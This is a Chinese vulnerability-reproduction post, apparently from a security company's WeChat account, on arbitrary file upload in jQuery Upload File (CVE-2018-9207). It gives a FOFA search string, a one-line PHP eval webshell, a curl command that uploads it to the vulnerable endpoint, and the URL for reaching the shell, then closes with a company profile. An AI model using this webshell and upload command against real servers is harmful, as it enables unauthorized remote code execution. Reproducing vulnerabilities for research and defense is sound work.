漏洞复现-CVE-2018-9207 jquery Upload File文件上传

0x01 漏洞描述

    jQuery是一个快速、简洁的JavaScript框架，是继Prototype之后又一个优秀的JavaScript代码库（框架）于2006年1月由John Resig发布。jQuery Upload File <= 4.0.2 中的任意文件上传 根目录下/jquery-upload-file。

0x02 漏洞复现

漏洞影响: jQuery Upload File <= 4.0.2

FOFA:title="jquery-upload-file"（暂时没搜到）

1.准备一个一句话木马，取名为shell.php

<?php @eval($_POST['ry']);?>

2.kali使用curl在当前一句话木马目录中上传webshell，上传成功

curl -F "myfile=@shell.php" "http://x.x.x.x:31430/jquery-upload-file/php/upload.php"

3.连接webshell，得到一个shell，密码为ry

http://x.x.x.x:31430/jquery-upload-file/php/uploads/shell.php

(注：要在正规授权情况下测试网站：日站不规范，亲人泪两行)

0x03 公司简介

江西渝融云安全科技有限公司，2017年发展至今，已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司，是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
    公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证，拥有软件著作权十八项；荣获2020年全国工控安全深度行安全攻防对抗赛三等奖；庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制：sm

审核：fjh

审核：Dog

原文始发于微信公众号（融云攻防实验室）：漏洞复现-CVE-2018-9207 jquery Upload File文件上传